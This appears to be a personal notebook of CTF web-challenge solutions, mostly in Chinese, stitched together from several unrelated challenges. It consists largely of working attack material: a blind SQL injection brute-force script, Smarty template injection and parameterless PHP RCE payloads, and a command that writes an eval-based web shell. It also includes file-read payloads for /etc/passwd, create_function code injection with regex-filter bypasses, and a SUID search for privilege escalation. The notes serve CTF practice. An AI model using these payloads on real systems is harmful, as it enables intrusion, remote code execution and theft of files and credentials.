# 1^(ascii(substr((select(flag)from(flag)),1,1))>1)^1
import requests
import time

url = "http://node2.anna.nssctf.cn:28140/index.php"
payload = "1^(ascii(substr((select(flag)from(flag)),{},1))>{})^1"
i = 0
mess_ok = "glzjin wants a girlfriend."
# mess_false = "not"
out = ""
while True:
    i += 1
    begin = 32
    end = 128
    tmp = (begin + end) // 2
    while begin < end:
        # url=url+p_dlen.format(i)   错误写法，url会一直增加
        # res=requests.get(url)
        # new_url = url + payload.format(i,chr(tmp))
        new_url = url
        data = {
            "id": payload.format(i, tmp)
        }
        res = requests.post(new_url,data=data)
        # print(res.text)
        # print(new_url)
        # print(begin,end,tmp)
        if res.status_code == 429:
            print("too fast")
            time.sleep(0.5)
        if mess_ok in res.text:
            # print(i)
            begin = tmp + 1
        else:
            end = tmp
        tmp = (begin + end) // 2
        # print(i)
    if begin == 32 or end == 128:
        break
    out += chr(tmp)
    print(out)

NSSCTF{b29f1060-322b-49af-8bb9-a90c4ff6c5a4}

看到有操作是直接{{system('cat /flag')}}

{$smarty.version}
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令。 
如 {php}phpinfo();{/php}
但是3.1.30已废除{php}标签
Smarty的{if}条件判断和PHP的if 非常相似，只是增加了一些特性。全部的PHP条件表达式和函数都可以在if内使用，如*||*,or,&&,and,is_array(), 等等。
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if show_source('/flag')}{/if}

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

/read?url=../../../sys/class/net/eth0/address
得到fa:6a:b8:98:32:4a 

OK：
& 
url编码
BAN:
;
|
`
/
^
~
>
<
?
$


badrequest #

数组也不行
l\s
ls&curl 127.0.0.1 一点延迟回显都没有
可以直接访问flag.php

赛后居然发现是nl flag.php 
无语了

Fastdestruct 破坏掉就行了，把最后一个花括号删了。
https://www.jianshu.com/p/38606134fdd6

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a))  {
    if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){
        eval($a);
    }else{
        die("May be you should bypass.");
    }
}else{
    die("nonono");
}
?>
nonono

print_r(scandir(current(localeconv())));
var_dump(get_defined_vars());
拿网上的payload打一下，然后可以执行。结果是得提权。
https://blog.csdn.net/Manuffer/article/details/120738755

?a=eval(end(current(get_defined_vars())));&shell=system('ls');

find / -perm -u=s -type f 2>/dev/null 
/bin/mount
/bin/cp
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
做多了题目就发现，里面cp可能可以提权

题目会把写的一句话木马的一些内容给你换掉，比如$_GET等，还有'单引号，换成空的，而$_GET我猜测只换了一次，那我双写一下试试，结果就写进去了，而'单引号，试了一下，发现会多次置空，那我猜测转义一下，没想到就写进去了。（如何发现的，我cat了我写进去的文件，发现我的马被人偷了一部分。。。然后对照着改的）
下面是payload
?a=eval(end(current(get_defined_vars())));
&shell=$_GET['s'];&s=system("echo '<?php @eval($$_GET[1]_POST['\'van\'']);?>' > 2.php");
写完直接访问2.php，记住蚁剑是用post的，不是用get的。

无参数rce
https://blog.csdn.net/weixin_46330722/article/details/110840156
https://www.cnblogs.com/pursue-security/p/15406272.html#_label1_5
https://cloud.tencent.com/developer/article/1760288
https://blog.csdn.net/Manuffer/article/details/120738755
https://blog.csdn.net/weixin_30568317/article/details/116284685

<?php
error_reporting(0);
$CanRead = false;
class SFile{
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
    public function __toString(){
        $num = count(scandir($this->name));
        if($num > 0){
            return 'Not null';
        } else {
            return 'Access the backdoor_******.php.* in [0-f]';
        }
    }
}
class Funny{
    public $name;
    public function __construct($name){
        if(strstr($name, 'backdoor')===false){
            $this->name = $name;
        }else{
            $this->name = 'nohint.txt';
        }
    }
    public function __toString(){
        return $this->name;
    }
    
    public function __destruct(){
        global $CanRead;
        if(strstr($name, 'backdoor')!==false){
            die('try again');
        }
        if($CanRead){
            echo(file_get_contents($this->name));
        }
    }
}
class Fun{
    public $secret = 'nohint.txt';
    public function __wakeup(){
        echo $this->secret;
    }
    
    public function __toString(){
        global $CanRead;
        $CanRead = true;
        return (new Funny($this->secret))->name;
    }
}

if(isset($_GET['p'])){
    unserialize(base64_decode($_GET['p']));
}else{
    show_source(__FILE__);
}

任意读取文件，看到内网还有主机存活172.16.7.43，扫了一下，发现后面基本访问速度很慢，应该是不让扫的。那得换换思路。时间有限，没找出来。

开环境上去就得用户密码。
最后得出来是tomcat/tomcat
连上去后抓包
有Authorization: Basic dG9tY2F0OnRvbWNhdA==
然后response：
you are not our client,please guess our SECRET_KEY and Generating cookies using keys ,then view /search?flag=***** 
直接访问/search?flag=后会
{"msg":"Missing cookie \"access_token_cookie\""}
加上cookie
access_token_cookie=12334 会有no enough segments
猜jwt
access_token_cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0.04lcEO1dxtIIBa-Bt_tw8kmO8HpAwqb8BLCHz98S10w
返回{"msg":"Signature verification failed"}
扫不到目录，搜了一下可能是WEB-INF/web.xml泄露，但是也不清楚

url base64解码得到tupian.png
自己改改，会报错。然后说n是30-10的，自己加上get n
不会报错。
尝试爆破n，可以读出内容。
读一下index.php
然后尝试文件包含，找不到内容。
卡住。没想到tupian.png有信息。winhex分析，最下面有提示一个PHP文件
ffffpq.php
然后读取就行了。

<?php
header("Content-type:text/html;charset=utf-8");


echo "别重定向了，赶快让我（?n=30-10,以内的数值。)-_-";
$image=$_GET['img'];

$allow = range(2,20);
shuffle($allow);

if(($_GET['n']==$allow[0])){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("tupian.png");
header("location:/?img=".$image);
}//index.php

一些尝试
读不出来
../../../flag
Flag.php
Flag.txt
读得出来
/etc/passwd
../../../var/www/html/index.php
../../../etc/passwd
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=/etc/passwd
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
会被解析，返回PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==       <?php system("cat flag.php");?>

本来没去分析一下图片，还想着上传临时文件，然后去文件包含呢。。。

<?php
highlight_file(__FILE__);
error_reporting(0);
$c=$_POST['c'];
if(!preg_match("/vi|less|tail|head|od|sh|echo|touch|re|mv|rm|cat|ls|tac|more|cut|curl|wget|base|>|<|`|\*|\\$|\\\/i",$c)){
    exec($c);
}else{
    die("hacker");
}

c=cp /flag 1.txt
无回显rce，直接出了，可能还可以取反绕过
待学学（坑）
https://blog.csdn.net/weixin_46706771/article/details/119031343
https://www.cnblogs.com/pursue-security/p/15406672.html

index.php?mode=getconfig
得到版本
version":"7.7
然后继续 访问admin.php
根据提示说五位弱密码，那么直接猜12345 进入

很多黑名单
字母数字都被ban了好像

(~%8F%97%8F%96%91%99%90)();

 <?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

if($Private_key === '************'){
       $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
       $link=mysql_connect("localhost","root","root");
       mysql_select_db("test",$link);
       $result = mysql_query($getuser);
       while($row=mysql_fetch_assoc($result)){
           echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";

XuNhoueCDCGc 私钥
注意伪随机数制作与爆破过程得与题目的php版本一致。

边敲边改
import time
from requests import *
import re
url="http://5ee91e70-c1b8-4921-84fb-34dda71ee977.node4.buuoj.cn:81/"
s=session()
res = s.get(url=url)
res.encoding = "UTF-8"
for i in range(1001):
    print(res.text)
    match=re.findall("<br>(.*)<br>",res.text)
    # print(match)
    # print(match[0])
    rem=re.findall("<br>[0-9].*<br>",match[0])
    text=rem[0].replace("<br>","")
# print(rem[0].replace("<br>",""))
# print(text)
# num=re.findall("[0-9]*",text)
# print(num)
# num1=num[0]
# num2=num[4]
# how=re.findall("\+|\-",text)
# print(how[0])
# out=int(num1)+int(num2)
# print(out)
    all=eval(text)
    print(eval(text))
    data={
        "answer":all
    }
    res=s.post(url=url,data=data)#注意由于成功后也会返回算术式子，所以得要将res更新，才能更新值。否则一直算错
    res.encoding="UTF-8"
    print(res.text)
    time.sleep(0.3)
    flag=re.findall("flag{.*",res.text)
    print(i)
    if flag:
        print(flag)

 <?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

prototype变成`${`${`prototyp`}e`}`
${`${`prototyp`}e`}
`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`

1nD3x.php

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

http://www.xxx.com/index.php?p=222&q=u
$_SERVER["QUERY_STRING"] = “p=222&q=u”
不能有?shana=&passwd=

<?php
$afunc = create_function('$a, $b','return ($a+$b);');
echo $afunc(1,2);
//输出3
?>
等价于
<?php
function afunc($a,$b)
{
return $a+$b;
}
echo afunc(1,2);
//输出3
?>
注入方式：
$code参数可控，可能会存在代码注入
<?php
$aFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST['cmd']);//');

function aFunc($a, $b)
{
return $a+$b;
}
eval($_POST['cmd']);//}
?>
即$code=}function;//
}闭合前面的，然后写语句，最后//来注释掉后面的内容。

include "flag.php";，包含了flag.php文件，代表可以使用里面的变量。所以要想办法在不指定变量名称的情况下输出变量的值，可以想到：是否存在一个函数，能输出所有变量的值？刚好get_defined_vars()用来输出所有变量和值。

过滤了include 还能用require
过滤了引号，可以使用那些参数可以不加引号的函数，require()代替require " "
过滤了flag，可以base64编码

即利用require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
但filter被过滤了。用~绕过正则
<?php
echo urlencode(~'php://filter/read=convert.base64-encode/resource=rea1fl4g.php');
得到
%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
最终
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%oa&shana[]=1&passwd[]=2
%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

注意%0a、[]、&、=不用url编码，

后续的
$code=create_function&arg=}var_dump(get_defined_vars());//
fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//
以下
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%oa&shana[]=1&passwd[]=2
%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//
同时post debu=1&file=1
以下
get:
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e
没urlencode前:
debu=aqua_is_cute%0a&file=data:,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&flag[code]=create_functio%6e

post:
debu=&file=